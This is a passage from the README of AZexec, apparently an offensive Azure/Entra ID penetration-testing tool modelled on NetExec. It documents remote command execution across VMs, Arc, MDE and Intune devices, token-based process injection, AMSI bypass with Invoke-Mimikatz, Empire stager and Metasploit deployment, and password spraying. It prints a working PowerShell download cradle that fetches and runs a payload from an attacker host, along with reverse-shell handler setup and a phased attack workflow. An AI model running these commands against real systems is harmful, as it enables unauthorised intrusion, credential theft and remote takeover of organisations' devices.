3. Decode JWT payloads (base64), extract claims (UPN, audience, scope, expiry)
4. Enumerate DPAPI masterkey files from `%APPDATA%\Microsoft\Protect\<SID>\`

#### MDE Live Response Workflow
1. Acquire MDE API token via `Get-AzAccessToken -ResourceUrl "https://api.security.microsoft.com"`
2. Query device by name via `/api/machines`
3. Submit RunScript action via `/api/machines/{id}/runliveresponse`
4. Poll `/api/machineactions/{actionId}` every 5 seconds
5. Retrieve output via `GetLiveResponseResultDownloadLink` endpoint
6. Timeout: 10 minutes maximum

#### Intune Proactive Remediation Workflow
1. Create temporary `deviceHealthScript` with base64-encoded command
2. Trigger `initiateOnDemandProactiveRemediation` on target device
3. Cleanup temporary script
4. **Note**: Output only visible in Intune portal - no immediate return

### Required Permissions

| Target Type | Required Permissions |
|-------------|---------------------|
| **Azure VMs** | Reader + Virtual Machine Command Executor (or VM Contributor) |
| **Arc Devices** | Azure Connected Machine Resource Administrator |
| **MDE Devices** | Machine.LiveResponse + Machine.Read.All |
| **Intune Devices** | DeviceManagementManagedDevices.PrivilegedOperations.All |

---

## ⚡ Remote Command Execution - Azure's NetExec -x/-X Equivalent

For penetration testers familiar with NetExec's remote command execution capabilities (`-x` for shell commands, `-X` for PowerShell), AZexec provides the **Azure cloud equivalent** through the `exec` command.

### Execution Methods

AZexec supports six execution methods, with automatic failover in `auto` mode:

| Method | Target | Execution Type | Use Case | Priority |
|--------|--------|----------------|----------|----------|
| **vmrun** | Azure VMs | Synchronous | Primary method - uses Azure VM Run Command | 1st |
| **arc** | Arc-enabled servers | Synchronous | On-prem/hybrid servers connected to Azure Arc | 2nd |
| **mde** | MDE-enrolled devices | Async (polling) | Devices with Microsoft Defender for Endpoint | 3rd |
| **intune** | Intune-managed devices | Async | Endpoints managed via Intune/Endpoint Manager | 4th |
| **automation** | Hybrid Workers | Job-based | Servers with Azure Automation extension | 5th |
| **pi** | Windows targets | Token manipulation | Execute as target user via process injection | N/A |

**Synchronous vs Asynchronous Methods:**
- **Synchronous** (vmrun, arc): Immediate execution with direct output - best for real-time command execution
- **Asynchronous** (mde, intune, automation): Queued execution with polling/delayed results - useful for devices not Arc-enabled

### Command Mapping

| NetExec Command | AZexec Equivalent | Description |
|-----------------|-------------------|-------------|
| `nxc smb <target> -x "whoami"` | `.\azx.ps1 exec -VMName "vm-01" -x "whoami"` | Execute shell command on VM |
| `nxc smb <target> -X "$env:COMPUTERNAME"` | `.\azx.ps1 exec -VMName "vm-01" -x '$env:COMPUTERNAME' -PowerShell` | Execute PowerShell on VM |
| `nxc smb <targets> -x "hostname"` | `.\azx.ps1 exec -x "hostname" -AllVMs` | Execute on all VMs |
| `nxc smb <target> -x "cmd" --exec-method smbexec` | `.\azx.ps1 exec -VMName "vm-01" -x "cmd" -ExecMethod vmrun` | Force specific method |
| *N/A (Arc device)* | `.\azx.ps1 exec -DeviceName "LAPTOP-001" -x "hostname"` | Execute on Arc-enabled device |
| *N/A (All Arc devices)* | `.\azx.ps1 exec -x "hostname" -AllDevices` | Execute on all Arc devices |
| *N/A (MDE device)* | `.\azx.ps1 exec -DeviceName "LAPTOP-001" -x "hostname" -ExecMethod mde` | Execute via MDE Live Response |
| *N/A (Intune device)* | `.\azx.ps1 exec -DeviceName "LAPTOP-001" -x "hostname" -ExecMethod intune` | Execute via Intune Remediation |
| *N/A (Automation)* | `.\azx.ps1 exec -VMName "server-01" -x "hostname" -ExecMethod automation` | Execute via Azure Automation |
| `nxc smb <target> -X "cmd" --amsi-bypass /path` | `.\azx.ps1 exec -VMName "vm-01" -x "cmd" -PowerShell -AmsiBypass bypass.ps1` | Execute with AMSI bypass |
| `nxc smb <target> -M pi -o PID=1234 EXEC=cmd` | `.\azx.ps1 exec -VMName "vm-01" -x "cmd" -ExecMethod pi -PID 1234` | Process injection by PID |
| `nxc smb <target> -M pi -o USER=admin EXEC=cmd` | `.\azx.ps1 exec -VMName "vm-01" -x "cmd" -ExecMethod pi -TargetUser "DOMAIN\admin"` | Process injection by user |

### Targeting Options

AZexec provides two targeting modes for remote command execution:

| Targeting Mode | Parameters | Use Case |
|----------------|------------|----------|
| **VM Targeting** | `-VMName` / `-AllVMs` | Azure VMs (traditional cloud VMs) |
| **Device Targeting** | `-DeviceName` / `-AllDevices` | Arc-enabled devices (on-prem/hybrid servers, workstations) |

**Device Targeting** is designed for Arc-enabled machines, which support immediate command execution via `Invoke-AzConnectedMachineRunCommand`. For non-Arc devices, AZexec will attempt fallback methods in order: MDE Live Response, then Intune Proactive Remediation.

### Usage Examples

**VM Targeting (Azure VMs):**
```powershell
# Execute shell command on single VM (like nxc -x)
.\azx.ps1 exec -VMName "vm-web-01" -x "whoami"

# Execute PowerShell on single VM (like nxc -X)
.\azx.ps1 exec -VMName "vm-web-01" -x '$env:COMPUTERNAME' -PowerShell

# Execute on all VMs in resource group (requires -AllVMs flag for safety)
.\azx.ps1 exec -ResourceGroup "Production-RG" -x "hostname" -AllVMs

# Execute across all subscriptions with export
.\azx.ps1 exec -x "whoami /all" -AllVMs -ExportPath results.csv

# Linux VM execution (auto-detected)
.\azx.ps1 exec -VMName "linux-vm-01" -x "id && hostname"

# Filter to only running VMs
.\azx.ps1 exec -x "hostname" -AllVMs -VMFilter running
```

**Device Targeting (Arc-enabled Devices):**
```powershell
# Execute shell command on single Arc device
.\azx.ps1 exec -DeviceName "LAPTOP-001" -x "hostname"

# Execute PowerShell on Arc device
.\azx.ps1 exec -DeviceName "ARC-SERVER-01" -x '$env:COMPUTERNAME' -PowerShell

# Execute on all Arc-enabled devices
.\azx.ps1 exec -x "whoami" -AllDevices

# Execute on all Arc devices with export
.\azx.ps1 exec -x "hostname" -AllDevices -ExportPath arc-results.csv

# Execute on Arc devices in specific resource group
.\azx.ps1 exec -ResourceGroup "Hybrid-Servers-RG" -x "id" -AllDevices
```

**Method Selection:**
```powershell
# Force specific execution method (Arc-enabled server)
.\azx.ps1 exec -VMName "arc-server-01" -x "id" -ExecMethod arc

# Execute via MDE Live Response (for MDE-enrolled devices)
.\azx.ps1 exec -DeviceName "LAPTOP-001" -x "hostname" -ExecMethod mde

# Execute via Intune Proactive Remediation (async - check Intune portal for results)
.\azx.ps1 exec -DeviceName "LAPTOP-001" -x "whoami" -ExecMethod intune

# Execute via Azure Automation (requires Hybrid Worker configuration)
.\azx.ps1 exec -VMName "server-01" -x "hostname" -ExecMethod automation
```

**AMSI Bypass (PowerShell only):**
```powershell
# Execute PowerShell with AMSI bypass prepended
.\azx.ps1 exec -VMName "vm-01" -x "Invoke-Mimikatz" -PowerShell -AmsiBypass bypass.ps1

# Works with all execution methods
.\azx.ps1 exec -DeviceName "LAPTOP-001" -x "cmd" -PowerShell -AmsiBypass bypass.ps1 -ExecMethod mde
```

**Process Injection (User Impersonation):**

The `pi` execution method is the Azure equivalent of NetExec's `-M pi` (process injection) module. Since Azure doesn't provide direct memory access to VMs, AZexec achieves the same outcome (execute as target user) through PowerShell-based token manipulation techniques.

```powershell
# Execute command as specific user by injecting into their process (by PID)
.\azx.ps1 exec -VMName "vm-01" -x "whoami" -ExecMethod pi -PID 1234

# Auto-find process owned by target user
.\azx.ps1 exec -VMName "vm-01" -x "whoami" -ExecMethod pi -TargetUser "DOMAIN\admin"

# Combine with AMSI bypass for evasion
.\azx.ps1 exec -VMName "vm-01" -x "Invoke-Mimikatz" -ExecMethod pi -TargetUser "admin" -AmsiBypass bypass.ps1
```

**How Process Injection Works:**
1. The PI script is delivered to the target via the underlying method (vmrun, arc, mde, or intune)
2. Script runs as SYSTEM (Azure execution always runs as SYSTEM)
3. If `-TargetUser` specified, finds a process owned by that user
4. Opens process handle and duplicates the user's token
5. Creates new process with duplicated token via `CreateProcessWithTokenW`
6. Command executes in the impersonated user's security context

**Underlying Delivery Methods:**
The PI method automatically discovers targets and uses the appropriate delivery mechanism:
- **Azure VMs** → uses `vmrun` (Azure VM Run Command)
- **Arc-enabled servers** → uses `arc` (Azure Arc Run Command)
- **MDE-enrolled devices** → uses `mde` (MDE Live Response)
- **Intune-managed devices** → uses `intune` (Intune Proactive Remediation)

```powershell
# PI on Azure VM (delivered via vmrun)
.\azx.ps1 exec -VMName "vm-01" -x "whoami" -ExecMethod pi -TargetUser "admin"

# PI on Arc-enabled device (delivered via arc)
.\azx.ps1 exec -DeviceName "ARC-SERVER-01" -x "whoami" -ExecMethod pi -TargetUser "admin"

# PI on MDE-enrolled device (delivered via mde - if not Arc-enabled)
.\azx.ps1 exec -DeviceName "LAPTOP-001" -x "whoami" -ExecMethod pi -TargetUser "admin"
```

**Process Injection Requirements:**
- Windows targets only (Linux N/A for token impersonation)
- Target user must have an active process on the VM
- Requires SYSTEM privileges (standard for Azure execution methods)

**NetExec Comparison:**
| NetExec Command | AZexec Equivalent |
|-----------------|-------------------|
| `nxc smb <target> -M pi -o PID=1234 EXEC=whoami` | `.\azx.ps1 exec -VMName "vm-01" -x "whoami" -ExecMethod pi -PID 1234` |
| `nxc smb <target> -M pi -o USER=admin EXEC=whoami` | `.\azx.ps1 exec -VMName "vm-01" -x "whoami" -ExecMethod pi -TargetUser "admin"` |

### Output Format

Successful execution displays NetExec-style output with the "(Exec3d!)" indicator:

```
AZR       vm-web-01             443    Windows     (Exec3d!)   nt authority\system
```

### Required Permissions

| Method | Required RBAC Roles / API Permissions |
|--------|---------------------------------------|
| **vmrun** | Virtual Machine Contributor or Reader + Virtual Machine Command Executor |
| **arc** | Azure Connected Machine Resource Administrator |
| **mde** | Machine.LiveResponse, Machine.Read.All (Microsoft Defender Security API) |
| **intune** | DeviceManagementManagedDevices.PrivilegedOperations.All (Microsoft Graph) |
| **automation** | Automation Contributor (Azure RBAC) |
| **pi** | Same as underlying method (vmrun/arc) - uses token manipulation on target |

### Technical Comparison

| Aspect | On-Premises (NetExec) | Azure (AZexec exec) |
|--------|----------------------|---------------------|
| **Protocol** | SMB/WMI (port 445) | Azure REST API (HTTPS/443) |
| **Shell Mode (-x)** | cmd.exe / /bin/sh | cmd.exe / /bin/sh via Run Command |
| **PowerShell Mode (-X)** | powershell.exe | PowerShell via Run Command |
| **Authentication** | NTLM/Kerberos | Azure AD OAuth2 |
| **Logging** | Windows Event Logs | Azure Activity Logs (all queries logged) |
| **Network** | Direct network access | No network access needed (cloud API) |

### Execution Method Details

| Method | API Endpoint | Timeout | Best For |
|--------|--------------|---------|----------|
| **vmrun** | Azure VM Run Command API | ~5 min | Azure VMs (immediate results) |
| **arc** | Azure Arc Run Command API | ~5 min | Arc-enabled servers (immediate results) |
| **mde** | Security API `/machines/{id}/runliveresponse` | 10 min | MDE-enrolled devices (with polling) |
| **intune** | Graph API `/managedDevices/{id}/initiateOnDemandProactiveRemediation` | Async | Intune-managed devices (check portal) |
| **automation** | Azure Automation Runbook API | Variable | Hybrid Worker-configured servers |
| **pi** | Token manipulation via vmrun/arc | ~5 min | Execute as target user (Windows only) |

**When to Use Each Method:**
- **vmrun/arc**: Use for Azure VMs and Arc-enabled servers - fastest execution with immediate output
- **mde**: Use for Entra ID joined devices with MDE agent but no Arc agent - async with polling (up to 10 min)
- **intune**: Use for Intune-managed devices - fully async, check Intune portal for results
- **automation**: Use for servers with Azure Automation Hybrid Worker extension configured
- **pi**: Use when you need to execute commands as a specific user rather than SYSTEM

---

## 🐚 Getting Shells - Empire and Metasploit Integration

For penetration testers familiar with NetExec's shell modules (`-M empire_exec` and `-M met_inject`), AZexec provides the **Azure cloud equivalent** through the `empire-exec` and `met-inject` commands.

These commands generate C2 payloads and deploy them via Azure execution methods (VM Run Command, Arc Run Command, etc.), providing a seamless path from Azure access to interactive shells.

### Command Mapping

| NetExec Command | AZexec Equivalent | Description |
|-----------------|-------------------|-------------|
| `nxc smb <target> -M empire_exec -o LISTENER=http` | `.\azx.ps1 empire-exec -Listener http -EmpireHost host -VMName "vm"` | Deploy Empire stager |
| `nxc smb <targets> -M empire_exec -o LISTENER=http` | `.\azx.ps1 empire-exec -Listener http -EmpireHost host -AllVMs` | Deploy to all VMs |
| `nxc smb <target> -M met_inject -o SRVHOST=10.0.0.1 SRVPORT=8080 RAND=abc` | `.\azx.ps1 met-inject -SRVHOST 10.0.0.1 -SRVPORT 8080 -RAND abc -VMName "vm"` | Inject Metasploit payload |
| `nxc smb <targets> -M met_inject -o SRVHOST=10.0.0.1 SRVPORT=8080 RAND=abc` | `.\azx.ps1 met-inject -SRVHOST 10.0.0.1 -SRVPORT 8080 -RAND abc -AllVMs` | Inject on all VMs |

### Empire Execution (`empire-exec`)

The `empire-exec` command connects to an Empire C2 server's REST API, generates a PowerShell stager for the specified listener, and deploys it to Azure targets.

**How It Works:**
1. Authenticates to Empire REST API (`/api/v2/auth/token`)
2. Requests a stager for the specified listener (`/api/v2/stagers`)
3. Deploys the stager to targets via Azure execution methods
4. Target executes stager → connects back to Empire listener

**Parameters:**

| Parameter | Required | Description |
|-----------|----------|-------------|
| `-Listener` | ✅ Yes | Empire listener name (e.g., "http", "https") |
| `-EmpireHost` | ✅ Yes* | Empire server hostname or IP |
| `-EmpirePort` | No | Empire API port (default: 1337) |
| `-EmpireUsername` | ✅ Yes* | Empire API username |
| `-EmpirePassword` | ✅ Yes* | Empire API password |
| `-EmpireConfigFile` | No | Path to JSON config file (alternative to individual params) |
| `-SSL` | No | Use HTTPS for Empire API connection |
| `-Obfuscate` | No | Enable stager obfuscation |
| `-ObfuscateCommand` | No | Obfuscation options (default: "Token,All,1") |
| `-AmsiBypass` | No | Path to AMSI bypass script to prepend |

*Can be provided via `-EmpireConfigFile` instead

**Empire Config File Format:**
```json
{
    "host": "empire.example.com",
    "port": 1337,
    "username": "empireadmin",
    "password": "password123",
    "ssl": true
}
```

**Usage Examples:**

```powershell
# Deploy Empire stager to single VM
.\azx.ps1 empire-exec -Listener http -EmpireHost empire.local -EmpireUsername admin -EmpirePassword pass -VMName vm-01

# Deploy to single VM using config file
.\azx.ps1 empire-exec -Listener http -EmpireConfigFile empire-config.json -VMName vm-01

# Deploy to all VMs with SSL and obfuscation
.\azx.ps1 empire-exec -Listener https -EmpireHost empire.local -EmpireUsername admin -EmpirePassword pass -SSL -Obfuscate -AllVMs

# Deploy to Arc-enabled devices
.\azx.ps1 empire-exec -Listener http -EmpireHost empire.local -EmpireUsername admin -EmpirePassword pass -AllDevices

# Deploy with AMSI bypass
.\azx.ps1 empire-exec -Listener http -EmpireHost empire.local -EmpireUsername admin -EmpirePassword pass -AmsiBypass bypass.ps1 -VMName vm-01

# Deploy to specific resource group with export
.\azx.ps1 empire-exec -Listener http -EmpireConfigFile config.json -ResourceGroup "Production-RG" -AllVMs -ExportPath empire-results.csv
```

**Empire Server Setup:**
```bash
# Start Empire with REST API
./ps-empire server

# Or with Docker
docker run -it -p 1337:1337 -p 5000:5000 bc-security/empire:latest server

# Create a listener in Empire
uselistener http
set Host http://your-empire-server:80
set Port 80
execute
```

**Output Format:**
```
AZR       vm-web-01             443    Windows     (Empire!)   http listener deployed
```

### Metasploit Injection (`met-inject`)

The `met-inject` command generates a PowerShell download cradle that fetches and executes a Metasploit payload from your handler.

**How It Works:**
1. Generates a PowerShell download cradle pointing to your Metasploit handler
2. Deploys the cradle to targets via Azure execution methods
3. Target executes cradle → downloads payload from Metasploit → Meterpreter connects back

**Parameters:**

| Parameter | Required | Description |
|-----------|----------|-------------|
| `-SRVHOST` | ✅ Yes | Metasploit handler host (IP or hostname) |
| `-SRVPORT` | ✅ Yes | Metasploit handler port |
| `-RAND` | ✅ Yes | Random URI path (from web_delivery module) |
| `-SSL` | No | Use HTTPS for payload download |
| `-ProxyHost` | No | Proxy host (for environments requiring proxy) |
| `-ProxyPort` | No | Proxy port |
| `-AmsiBypass` | No | Path to AMSI bypass script to prepend |

**Usage Examples:**

```powershell
# Inject Metasploit payload to single VM
.\azx.ps1 met-inject -SRVHOST 10.10.10.1 -SRVPORT 8080 -RAND abc123 -VMName vm-01

# Inject with SSL (for HTTPS payload delivery)
.\azx.ps1 met-inject -SRVHOST 10.10.10.1 -SRVPORT 443 -RAND xyz789 -SSL -VMName vm-01

# Inject to all VMs
.\azx.ps1 met-inject -SRVHOST 10.10.10.1 -SRVPORT 8080 -RAND abc123 -AllVMs

# Inject to Arc-enabled devices
.\azx.ps1 met-inject -SRVHOST 10.10.10.1 -SRVPORT 8080 -RAND abc123 -AllDevices

# Inject through proxy
.\azx.ps1 met-inject -SRVHOST 10.10.10.1 -SRVPORT 8080 -RAND abc123 -ProxyHost proxy.corp.local -ProxyPort 8080 -VMName vm-01

# Inject with AMSI bypass
.\azx.ps1 met-inject -SRVHOST 10.10.10.1 -SRVPORT 8080 -RAND abc123 -AmsiBypass bypass.ps1 -VMName vm-01

# Inject to specific resource group with export
.\azx.ps1 met-inject -SRVHOST 10.10.10.1 -SRVPORT 8080 -RAND abc123 -ResourceGroup "Prod-RG" -AllVMs -ExportPath met-results.csv
```

**Metasploit Handler Setup:**
```bash
# Start Metasploit handler for web_delivery
msfconsole

use exploit/multi/script/web_delivery
set target 2                                    # PSH (PowerShell)
set payload windows/x64/meterpreter/reverse_https
set SRVHOST 10.10.10.1                         # Your attack machine IP
set SRVPORT 8080                               # Port for payload delivery
set LHOST 10.10.10.1                           # Callback IP
set LPORT 443                                  # Callback port
set URIPATH abc123                             # This is your -RAND value
run -j

# Note the generated URL: http://10.10.10.1:8080/abc123
# Use these values in AZexec:
# -SRVHOST 10.10.10.1 -SRVPORT 8080 -RAND abc123
```

**Output Format:**
```
AZR       vm-web-01             443    Windows     (Meterpreter!)   10.10.10.1:8080
```

### Generated Cradle

The Metasploit cradle generated by AZexec matches the NetExec implementation:

```powershell
$ProgressPreference = 'SilentlyContinue'
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}  # If -SSL
$wc = New-Object System.Net.WebClient
$wc.Proxy = [System.Net.WebRequest]::DefaultWebProxy
$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials
IEX $wc.DownloadString('http://10.10.10.1:8080/abc123')
```

### Execution Methods

Both `empire-exec` and `met-inject` support the same execution methods as the `exec` command:

| Method | Target Type | Description |
|--------|-------------|-------------|
| **vmrun** (default) | Azure VMs | Uses Azure VM Run Command (synchronous) |
| **arc** | Arc-enabled servers | Uses Azure Arc Run Command (synchronous) |
| **mde** | MDE-enrolled devices | Uses MDE Live Response (async with polling) |
| **intune** | Intune-managed devices | Uses Intune Proactive Remediation (async) |
| **automation** | Automation Hybrid Workers | Uses Azure Automation runbooks (job-based) |
| **auto** | All | Auto-detects best method: vmrun → arc → mde → intune |

> **Note**: All methods require **Windows** targets since Empire and Metasploit payloads are PowerShell-based. Non-Windows devices are automatically skipped with an informational message.

**Targeting Options:**

| Parameter | Description |
|-----------|-------------|
| `-VMName` | Single Azure VM by name |
| `-AllVMs` | All Azure VMs (with optional `-ResourceGroup` filter) |
| `-DeviceName` | Single Arc-enabled device by name (also searches MDE/Intune) |
| `-AllDevices` | All Arc-enabled devices |
| `-ResourceGroup` | Filter targets by resource group |
| `-SubscriptionId` | Target specific subscription |
| `-ExecMethod` | Force specific execution method (auto, vmrun, arc, mde, intune, automation) |

**MDE/Intune/Automation Examples:**

```powershell
# Deploy Empire stager via MDE Live Response
.\azx.ps1 empire-exec -Listener http -EmpireConfigFile config.json -DeviceName "LAPTOP-001" -ExecMethod mde

# Deploy Metasploit payload via Intune
.\azx.ps1 met-inject -SRVHOST 10.10.10.1 -SRVPORT 8080 -RAND abc -DeviceName "DESKTOP-002" -ExecMethod intune

# Auto-detect best method (tries vmrun → arc → mde → intune)
.\azx.ps1 empire-exec -Listener http -EmpireConfigFile config.json -DeviceName "TARGET-PC"
```

### Required Permissions

Same as the `exec` command:

| Method | Required RBAC Roles / API Permissions |
|--------|---------------------|
| **vmrun** | Virtual Machine Contributor or Reader + Virtual Machine Command Executor |
| **arc** | Azure Connected Machine Resource Administrator |
| **mde** | Machine.LiveResponse, Machine.Read.All (MDE Security API) |
| **intune** | DeviceManagementManagedDevices.PrivilegedOperations.All (Microsoft Graph) |
| **automation** | Automation Contributor role

### Attack Workflow

**Phase 1: Reconnaissance**
```powershell
# Enumerate all VMs
.\azx.ps1 hosts

# Check which VMs are running Windows (Empire/Metasploit targets)
.\azx.ps1 vm-loggedon -VMFilter running
```

**Phase 2: Deploy Shells**
```powershell
# Option A: Empire (full C2 capabilities)
.\azx.ps1 empire-exec -Listener http -EmpireConfigFile config.json -AllVMs

# Option B: Metasploit (Meterpreter)
.\azx.ps1 met-inject -SRVHOST 10.10.10.1 -SRVPORT 8080 -RAND abc123 -AllVMs
```

**Phase 3: Post-Exploitation**
```powershell
# Use Empire/Metasploit for:
# - Credential harvesting
# - Lateral movement
# - Persistence
# - Data exfiltration
```

### Security Considerations

1. **Windows Only**: Both commands target Windows systems (PowerShell-based payloads)
2. **Network Connectivity**: Targets must be able to reach your C2 server
3. **AMSI**: Consider using `-AmsiBypass` for evasion
4. **Logging**: All Azure execution methods are logged in Azure Activity Logs
5. **Firewall**: Ensure C2 ports are accessible from target network

### Technical Comparison

| Aspect | On-Premises (NetExec) | Azure (AZexec) |
|--------|----------------------|----------------|
| **Delivery** | SMB/WMI | VM Run Command, Arc, MDE Live Response, Intune, Automation |
| **Authentication** | NTLM/Kerberos | Azure AD / Entra ID OAuth2 |
| **Payload Type** | PowerShell cradle | PowerShell cradle |
| **Target Discovery** | Network scan | Azure RM API, MDE API, Microsoft Graph |
| **Execution Context** | User/Admin | SYSTEM (Azure/MDE/Intune default) |
| **Logging** | Windows Event Logs | Azure Activity Logs, MDE Timeline, Intune Logs |

---

## 🎯 Features

- **Tenant Discovery**: Discover Azure/Entra ID tenant configuration without authentication (mimics `nxc smb --enum`)
  - Enumerate exposed application IDs and redirect URIs
  - Identify misconfigured public clients and OAuth settings
  - Detect implicit flow configurations and security risks
  - Access federation metadata for federated tenants
- **Username Enumeration**: Validate username existence without authentication using GetCredentialType API (mimics `nxc smb --users` unauthenticated)
  - Stealthy username validation (doesn't trigger auth logs)
  - No authentication required - perfect for external reconnaissance
  - Built-in common username lists
  - Export valid usernames for password spray attacks
  - **Enhanced v2.0**: Progress indicators, retry logic, adaptive rate limiting, detailed statistics
- **Password Spray Attacks**: ROPC-based credential testing (mimics `nxc smb -u users.txt -p 'Pass123'`)
  - **NEW: Dedicated `spray` command** with NetExec-style options
  - Test single or multiple passwords against user lists
  - `-ContinueOnSuccess`: Keep spraying after finding valid creds (like `--continue-on-success`)
  - `-NoBruteforce`: Linear pairing mode (user1:pass1, user2:pass2) (like `--no-bruteforce`)
  - `-PasswordFile`: Load multiple passwords from file (like `-p @file.txt`)
  - `-Delay`: Configurable delay between password rounds (OPSEC-safe spraying)
  - Automatic lockout detection and account status reporting
  - MFA detection (valid credentials even if MFA blocks)
  - **Two-phase attack**: First enumerate with GetCredentialType, then spray with ROPC
  - OPSEC warnings display before spray attacks
  - HTML report export with styled dark theme
- **Domain User Enumeration**: Comprehensive authenticated user enumeration (mimics `nxc smb/ldap <target> -u <user> -p <pass> --users`)
  - **Azure equivalent of NetExec's SMB/LDAP user enumeration**
  - Enumerate all users in Azure/Entra ID directory with full details
  - Display names, UPNs, job titles, departments, and office locations
  - User types (Member vs Guest) and account status (Enabled/Disabled)
  - Last sign-in activity tracking (if AuditLog.Read.All permission available)
  - Identify high-value targets (executives, admins, privileged accounts)
  - Export to CSV, JSON, or HTML for offline analysis and reporting
  - Color-coded output: Green (active members), Yellow (guests), Gray (disabled)
- **Device Enumeration**: Query and display all devices registered in Azure/Entra ID (mimics `nxc smb --hosts`)
- **Group Enumeration**: Enumerate all Azure AD groups with details (mimics `nxc smb --groups`)
  - Security groups, Microsoft 365 groups, distribution lists
  - Group types, membership counts, and descriptions
  - Dynamic group detection
- **Local Groups Enumeration**: Enumerate Azure AD Administrative Units (mimics `nxc smb --local-group`)
  - **Azure equivalent of local groups enumeration**
  - Administrative Units provide scoped administration (like local groups provide machine-scoped access)
  - Display membership types (Assigned vs Dynamic)
  - Show member counts and scoped role assignments
  - Identify privileged administrative boundaries (IT, Security, Executive)
  - Understand organizational delegation structure and regional/departmental scopes
  - Export to CSV, JSON, or HTML for offline analysis
  - Color-coded output: Red (privileged AUs), Yellow (dynamic), Green (active), Cyan (standard)
  - Requires Azure AD Premium P1/P2 licensing
- **Password Policy Enumeration**: Display password policies and security settings (mimics `nxc smb --pass-pol`)
  - **Azure AD Default Password Requirements**: Min/max length (8-256 chars), complexity (3 of 4 char types), banned password list
  - **Smart Lockout Settings**: Lockout threshold (10 attempts), duration (60s+), familiar location detection
  - **Password Expiration Policies**: Validity period, notification windows
  - **Authentication Methods**: MFA configuration (Authenticator, SMS, FIDO2, etc.)
  - **Security Defaults**: Baseline security enforcement (MFA, legacy auth blocking)
  - **Conditional Access Policies**: Summary of policies enforcing MFA, device compliance, location restrictions
  - **NetExec-Style Summary**: Formatted output similar to `nxc smb --pass-pol` with all key policy settings
  - **Azure AD vs On-Premises Comparison**: Side-by-side comparison table of password policy differences
- **Guest Login Enumeration**: Test guest/external authentication (mimics `nxc smb -u 'a' -p ''`)
  - Test if tenant accepts external/B2B authentication
  - Test credentials with empty/null passwords (like SMB null session)
  - Password spray with single password against user list
  - Detect MFA requirements, locked accounts, expired passwords
  - ROPC-based authentication testing
- **Guest User Enumeration**: Leverage guest accounts as "Azure null session" for low-noise reconnaissance
  - Exploit default guest permissions for directory enumeration
  - Modern equivalent of SMB null session attacks
  - Test for misconfigured guest access policies
- **Active Session Enumeration**: Query sign-in logs to enumerate active sessions (mimics `nxc smb --qwinsta`)
  - Query Azure AD sign-in audit logs
  - Display recent authentication events and active sessions
  - Show device information, location, IP address, and application used
  - Identify MFA status and risky sign-ins
  - Filter by username and export results
- **Azure VM Logged-On Users Enumeration**: Query logged-on users on Azure VMs (mimics `nxc smb --logged-on-users`)
  - Azure equivalent of Workstation Service (wkssvc) and Remote Registry Service enumeration
  - Query logged-on users on Windows and Linux Azure VMs
  - Uses Azure VM Run Command to execute queries remotely (similar to RPC/PsExec)
  - Display username, session state, idle time, and connection source
  - Filter by resource group, subscription, and VM power state
  - Multi-subscription support with automatic enumeration
  - Requires VM Contributor or VM Command Executor role
- **Vulnerable Target Enumeration**: Enumerate weak authentication configurations (mimics `nxc smb --gen-relay-list`)
  - Service principals with password-only credentials (like SMB hosts without signing)
  - Applications with public client flows enabled (ROPC vulnerable)
  - Tenants with legacy authentication not blocked
  - Security Defaults and Conditional Access gaps
  - Stale guest accounts and dangerous OAuth permissions
  - **Guest permission level check** (null session equivalent vulnerability)
  - **Users without MFA registered** (credential attack targets)
  - Guest invite policy configuration
  - Hybrid approach: unauthenticated checks + authenticated enumeration
- **Guest User Vulnerability Scanner**: Automated testing for guest enumeration vulnerabilities (mimics `nxc smb --check-null-session`)
  - Detect if external collaboration is enabled
  - Test guest permission boundaries
  - Generate security assessment report with risk scoring
  - Compare guest vs member access levels
  - Identify Azure "null session" equivalent vulnerabilities
  - Test actual guest permissions across Users, Groups, Devices, Applications, and Directory Roles
  - Provide actionable remediation recommendations
- **Application Enumeration**: List registered applications and service principals (authentication required)
  - Enumerate all application registrations in the tenant
  - List all service principals (SPNs)
  - Display credential types (password vs certificate-based authentication)
  - Identify public client applications (ROPC-enabled, vulnerable to password spray)
  - Security posture assessment with risk indicators
  - Export to CSV or JSON for offline analysis
- **Service Principal Discovery**: Discover service principals with detailed permissions and assignments (authentication required)
  - Enumerate service principals with their app role assignments (application permissions)
  - Display OAuth2 permission grants (delegated permissions)
  - Identify service principal owners and their access
  - Map resource permissions to service principals
  - Detect password-only credentials (security risk)
  - Identify high-risk permissions (RoleManagement, Application.ReadWrite, etc.)
  - Security posture assessment with risk scoring
  - Export detailed permission data to CSV or JSON
- **Role Assignments Enumeration**: List directory role assignments and privileged accounts (authentication required)
  - Enumerate all active directory roles and their members
  - Display role assignments for users, groups, and service principals
  - Identify privileged roles (Global Administrator, Privileged Role Administrator, etc.)
  - Show PIM (Privileged Identity Management) eligible assignments
  - Detect group-based role assignments
  - Security posture assessment for privileged access
  - Color-coded output highlighting high-risk privileged accounts
  - Export comprehensive role assignment data to CSV or JSON
- **Conditional Access Policy Review**: Review conditional access policies (member accounts only, requires Policy.Read.All)
  - Detailed conditional access policy enumeration
  - Policy state tracking (enabled, disabled, report-only)
  - Conditions analysis (users, apps, locations, platforms, risk levels)
  - Grant controls (MFA, compliant device, approved app, terms of use)
  - Session controls (sign-in frequency, persistent browser, app enforced restrictions)
  - Security posture assessment and risk identification
  - High-risk policy highlighting (block access, risk-based policies)
  - Export comprehensive policy data to CSV or JSON
- **Azure File Shares Enumeration**: Enumerate Azure File Shares with access permissions (mimics `nxc smb --shares`)
  - Azure equivalent of SMB share enumeration
  - Display access permissions (READ, WRITE) similar to NetExec
  - Filter by access level (READ, WRITE, READ,WRITE)
  - Show quotas, access tiers, and enabled protocols (SMB/NFS)
  - Security analysis for writable and publicly accessible shares
  - Multi-subscription support with automatic enumeration
- **Azure Managed Disks Enumeration**: Enumerate Azure Managed Disks with encryption status (mimics `nxc smb --disks`)
  - Azure equivalent of disk enumeration on remote hosts
  - Display disk encryption (Platform/Customer-Managed Keys)
  - Identify unattached disks (orphaned resources)
  - Track disk sizes, SKUs, and attachment status
  - Security analysis for unencrypted and publicly accessible disks
  - Multi-subscription support with automatic enumeration
- **BitLocker Enumeration**: Query BitLocker encryption status on Windows Azure VMs (mimics `nxc smb -M bitlocker`)
  - Azure equivalent of NetExec BitLocker module
  - Query BitLocker volume status via Azure VM Run Command
  - Display encryption percentage, method (XTS-AES 256/128), and protection status
  - Identify key protector types (TPM, Password, Recovery Key)
  - Security analysis for unencrypted volumes and disabled protection
  - Track encryption progress across all Windows VMs
  - Multi-subscription support with automatic enumeration
